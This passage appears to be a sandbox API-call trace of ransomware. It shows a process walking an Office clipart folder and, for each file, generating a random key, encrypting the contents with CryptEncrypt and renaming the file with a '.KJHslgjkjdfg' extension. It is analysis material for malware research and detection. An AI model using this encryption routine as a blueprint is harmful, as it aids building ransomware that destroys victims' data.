ftLastWriteTime.dwLowDateTime=0x2880f000, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02398U.BMP", cAlternateFileName="")) returned 1 [0188.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.240] GetProcessHeap () returned 0x2a0000 [0188.240] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.240] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.240] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.240] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.240] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.240] GetProcessHeap () returned 0x2a0000 [0188.240] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.240] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.241] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.241] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.244] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.244] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.244] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.244] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.244] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.245] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.245] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.245] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.245] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0188.246] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0) returned 1 [0188.246] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.247] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7ce0, lpOverlapped=0x0) returned 1 [0188.247] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.247] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.247] SetEndOfFile (hFile=0x114) returned 1 [0188.251] GetProcessHeap () returned 0x2a0000 [0188.251] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.251] GetProcessHeap () returned 0x2a0000 [0188.251] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.251] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp.kjhslgjkjdfg")) returned 1 [0188.254] CloseHandle (hObject=0x114) returned 1 [0188.254] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02412K.JPG", cAlternateFileName="")) returned 1 [0188.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.256] GetProcessHeap () returned 0x2a0000 [0188.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.256] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.256] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.256] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0188.265] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.265] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.265] GetProcessHeap () returned 0x2a0000 [0188.265] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.265] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.265] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.265] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.265] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.265] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.265] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.265] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.266] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.266] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.266] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.266] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.266] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xdd5, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xdd5, lpOverlapped=0x0) returned 1 [0188.266] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xde0, dwBufLen=0xde0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xde0) returned 1 [0188.266] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.266] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xde0, lpOverlapped=0x0) returned 1 [0188.266] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.266] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xeb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.266] SetEndOfFile (hFile=0x114) returned 1 [0188.269] GetProcessHeap () returned 0x2a0000 [0188.269] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.269] GetProcessHeap () returned 0x2a0000 [0188.269] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.269] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg.kjhslgjkjdfg")) returned 1 [0188.271] CloseHandle (hObject=0x114) returned 1 [0188.271] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156e2000, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156e2000, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02417U.BMP", cAlternateFileName="")) returned 1 [0188.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.272] GetProcessHeap () returned 0x2a0000 [0188.272] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.272] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.272] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.273] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.273] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.273] GetProcessHeap () returned 0x2a0000 [0188.273] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.273] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.273] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.273] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.274] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.275] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.275] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.275] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.275] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.275] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.275] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.275] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.275] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0188.276] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0) returned 1 [0188.277] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.277] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7ce0, lpOverlapped=0x0) returned 1 [0188.277] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.277] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.277] SetEndOfFile (hFile=0x114) returned 1 [0188.279] GetProcessHeap () returned 0x2a0000 [0188.279] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.279] GetProcessHeap () returned 0x2a0000 [0188.279] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.279] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp.kjhslgjkjdfg")) returned 1 [0188.281] CloseHandle (hObject=0x114) returned 1 [0188.281] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf783f00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf783f00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02466U.BMP", cAlternateFileName="")) returned 1 [0188.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.282] GetProcessHeap () returned 0x2a0000 [0188.282] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.282] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.282] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.282] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.286] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.286] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.286] GetProcessHeap () returned 0x2a0000 [0188.286] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.286] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.286] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.286] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.286] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.287] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.287] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.287] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.287] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.287] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.287] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.287] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.287] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7c08, lpOverlapped=0x0) returned 1 [0188.394] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c10, dwBufLen=0x7c10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c10) returned 1 [0188.395] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.395] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7c10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7c10, lpOverlapped=0x0) returned 1 [0188.395] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.395] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.395] SetEndOfFile (hFile=0x114) returned 1 [0188.398] GetProcessHeap () returned 0x2a0000 [0188.398] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.398] GetProcessHeap () returned 0x2a0000 [0188.398] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.399] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp.kjhslgjkjdfg")) returned 1 [0188.400] CloseHandle (hObject=0x114) returned 1 [0188.400] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78519700, ftCreationTime.dwHighDateTime=0x1bf111d, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78519700, ftLastWriteTime.dwHighDateTime=0x1bf111d, nFileSizeHigh=0x0, nFileSizeLow=0x48fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02470U.BMP", cAlternateFileName="")) returned 1 [0188.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.403] GetProcessHeap () returned 0x2a0000 [0188.403] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.403] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.403] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.403] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.406] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.406] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.406] GetProcessHeap () returned 0x2a0000 [0188.406] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.406] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, 